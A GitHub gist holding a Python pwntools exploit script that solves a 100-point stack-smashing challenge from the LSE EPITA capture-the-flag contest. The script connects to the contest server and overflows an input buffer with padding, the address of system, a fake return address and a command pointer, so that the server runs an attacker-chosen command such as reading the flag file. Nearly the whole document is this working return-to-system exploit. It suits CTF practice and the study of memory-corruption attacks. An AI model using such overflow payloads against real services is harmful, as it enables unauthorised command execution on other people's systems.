Created
March 13, 2017 10:09
-
-
Save 0xPwny/63b225c44cce73f067311b13175263c8 to your computer and use it in GitHub Desktop.
LSE CTF smash stack - 100 pts
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
#Author : Abdeljalil Nouiri | |
#exploit For LSE EPITA CTF : Smash Stack 100pts | |
from pwn import * | |
import sys | |
cmd = 0x8049dc8 | |
system = 0x08048500 | |
puts = 0x080484f0 | |
putsGOT = 0x08049d68 | |
#con = process("./pwn100") | |
con = remote("lse.epita.fr",52114) | |
#print util.proc.pidof(con) | |
#raw_input("Attach ..") | |
con.recvuntil("User name :") | |
con.sendline(sys.argv[1]) # "cat flag.txt" | |
con.recvuntil("Action:") | |
payload = "1" | |
payload += "A"*35 | |
payload += p32(system) | |
payload += p32(0x42424242) | |
payload += p32(cmd) | |
con.sendline(payload) | |
print con.recv() | |
print con.recv() | |
print con.recv() | |
print con.recv() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment